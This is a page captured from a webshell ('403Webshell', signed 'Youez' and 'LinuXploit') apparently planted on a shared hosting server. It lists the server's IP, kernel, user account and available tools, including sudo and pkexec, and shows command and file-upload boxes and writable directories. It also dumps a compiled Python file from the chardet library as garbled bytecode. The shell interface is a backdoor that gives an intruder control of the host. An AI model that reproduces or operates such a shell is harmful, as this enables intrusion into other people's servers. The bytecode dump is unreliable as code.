403Webshell
Server IP : 162.144.4.212  /  Your IP : 216.73.216.108
Web Server : Apache
System : Linux gator2125.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : cozeellc ( 2980)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/libexec/oracle-cloud-agent/plugins/osms/chardet/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/libexec/oracle-cloud-agent/plugins/osms/chardet/utf1632prober.pyc
a

i��f9!�@s<ddlmZmZddlmZddlmZGdd�de�ZdS)�)�List�Union�)�
CharSetProber)�ProbingStatecseZdZdZdZdZdd��fdd�Zdd��fdd	�Zee	d�d
d��Z
ee	d�dd
��Zed�dd�Z
ed�dd�Zed�dd�Zed�dd�Zed�dd�Zed�dd�Zeedd�dd�Zeedd�dd�Zeeefed �d!d"�Zeed�d#d$��Zed�d%d&�Z�ZS)'�
UTF1632Proberad
    This class simply looks for occurrences of zero bytes, and infers
    whether the file is UTF16 or UTF32 (low-endian or big-endian)
    For instance, files looking like (    [nonzero] )+
    have a good probability to be UTF32BE.  Files looking like (  [nonzero] )+
    may be guessed to be UTF16BE, and inversely for little-endian varieties.
    �g�G�z�?N)�returncsjt���d|_dgd|_dgd|_tj|_gd�|_d|_	d|_
d|_d|_d|_
d|_|��dS)Nr��rrrrF)�super�__init__�position�zeros_at_mod�nonzeros_at_modr�	DETECTING�_state�quad�invalid_utf16be�invalid_utf16le�invalid_utf32be�invalid_utf32le�'first_half_surrogate_pair_detected_16be�'first_half_surrogate_pair_detected_16le�reset��self��	__class__��y/sparta/input/_build_configuration/image_build+validate/lib/bmcenv/lib64/python3.9/site-packages/chardet/utf1632prober.pyr
)s

zUTF1632Prober.__init__csbt���d|_dgd|_dgd|_tj|_d|_d|_	d|_
d|_d|_d|_
gd�|_dS)Nrr
Fr)rrrrrrrrrrrrrrrrrrr r8s
zUTF1632Prober.resetcCs4|��rdS|��rdS|��r$dS|��r0dSdS)Nzutf-32bezutf-32lezutf-16bezutf-16lezutf-16)�is_likely_utf32be�is_likely_utf32le�is_likely_utf16be�is_likely_utf16lerrrr �charset_nameFszUTF1632Prober.charset_namecCsdS)N�rrrrr �languageSszUTF1632Prober.languagecCstd|jd�S)N��?g@��maxrrrrr �approx_32bit_charsWsz UTF1632Prober.approx_32bit_charscCstd|jd�S)Nr(g@r)rrrr �approx_16bit_charsZsz UTF1632Prober.approx_16bit_charscCsj|��}||jkoh|jd||jkoh|jd||jkoh|jd||jkoh|jd||jkoh|jS�Nrr��)r+�MIN_CHARS_FOR_DETECTIONr�EXPECTED_RATIOrr�r�approx_charsrrr r!]s
����zUTF1632Prober.is_likely_utf32becCsj|��}||jkoh|jd||jkoh|jd||jkoh|jd||jkoh|jd||jkoh|jSr-)r+r0rr1rrr2rrr r"gs
����zUTF1632Prober.is_likely_utf32lecCsV|��}||jkoT|jd|jd||jkoT|jd|jd||jkoT|jS)Nrr/rr.)r,r0rr1rrr2rrr r#qs
����zUTF1632Prober.is_likely_utf16becCsV|��}||jkoT|jd|jd||jkoT|jd|jd||jkoT|jS)Nrr.rr/)r,r0rr1rrr2rrr r${s
����zUTF1632Prober.is_likely_utf16le)rr	cCs�|ddksL|ddksL|ddkrR|ddkrRd|dkrHdkrRnnd|_|ddks�|ddks�|ddkr�|ddkr�d|dkr�dkr�nnd|_d	S)
z�
        Validate if the quad of bytes is valid UTF-32.

        UTF-32 is valid in the range 0x00000000 - 0x0010FFFF
        excluding 0x0000D800 - 0x0000DFFF

        https://en.wikipedia.org/wiki/UTF-32
        rr���r.��Tr/N)rr)rrrrr �validate_utf32_characters�s4

�
�
�
���

�
�
�
���
z'UTF1632Prober.validate_utf32_characters)�pairr	cCs�|jsNd|dkrdkr*nnd|_qxd|dkrBdkrxnqxd|_n*d|dkrfdkrrnnd|_nd|_|js�d|dkr�dkr�nnd|_q�d|dkr�dkr�nq�d|_n*d|dkr�dkr�nnd|_nd|_d	S)
a9
        Validate if the pair of bytes is  valid UTF-16.

        UTF-16 is valid in the range 0x0000 - 0xFFFF excluding 0xD800 - 0xFFFF
        with an exception for surrogate pairs, which must be in the range
        0xD800-0xDBFF followed by 0xDC00-0xDFFF

        https://en.wikipedia.org/wiki/UTF-16
        r5r��T��r6FrN)rrrr)rr8rrr �validate_utf16_characters�s 
z'UTF1632Prober.validate_utf16_characters)�byte_strr	cCs�|D]�}|jd}||j|<|dkrX|�|j�|�|jdd��|�|jdd��|dkrt|j|d7<n|j|d7<|jd7_q|jS)Nr
r/rr.r)rrr7r;rr�state)rr<�c�mod4rrr �feed�s

zUTF1632Prober.feedcCsF|jtjtjhvr|jS|��dkr.tj|_n|jdkr@tj|_|jS)Ng�������?i)rr�NOT_ME�FOUND_IT�get_confidencerrrrr r=�s

zUTF1632Prober.statecCs(|��s |��s |��s |��r$dSdS)Ng333333�?g)r$r#r"r!rrrr rC�s�����zUTF1632Prober.get_confidence) �__name__�
__module__�__qualname__�__doc__r0r1r
r�property�strr%r'�floatr+r,�boolr!r"r#r$r�intr7r;r�bytes�	bytearrayrr@r=rC�
__classcell__rrrr rs*	



 rN)�typingrr�
charsetproberr�enumsrrrrrr �<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit